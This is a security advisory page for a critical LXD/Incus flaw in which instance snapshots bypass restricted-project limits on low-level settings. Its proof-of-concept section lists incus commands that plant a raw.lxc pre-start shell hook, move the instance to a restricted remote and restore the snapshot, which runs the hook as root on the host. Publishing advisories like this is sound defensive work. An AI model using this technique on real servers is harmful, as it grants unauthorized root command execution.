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critical 9.9

GHSA-47w9-6r3f-938g json

LXD has restricted project bypass leading to arbitrary command execution

published 8d ago modified 8d ago

cvss
9.9
version 3.1, GitHub
cisa kev
Not listed
not in CISA's catalog
epss
—
no score, EPSS covers CVEs only
public exploits
0
none known

Summary

Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv

### Summary

Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`.

### Details

Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`.

As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.

In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.

### PoC

``` # remote, restricted incus project set rem:project restricted.true incus project set rem:project restricted.containers.lowlevel=block

# locally, unrestricted project incus init images:debian/trixie rce-raw-lxc incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"' incus snapshot create rce-raw-lxc snap0 #> allow transfer to restricted project incus config unset rce-raw-lxc raw.lxc

# locally, transfer and trigger incus move rce-raw-lxc rem: --mode push incus snapshot restore rem:rce-raw-lxc snap0 incus start rem:rce-raw-lxc ```

### Impact

- Bypass of project restrictions. - Arbitrary command execution on the Incus server.

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CVSS scores

assigned by version score vector
GitHub 3.1 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Affected packages

ecosystem package affected fixed in
go github.com/canonical/lxd
<0.0.0-20260630083100-c5184be310b1
0.0.0-20260630083100-c5184be310b1

Classification

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References

Sources

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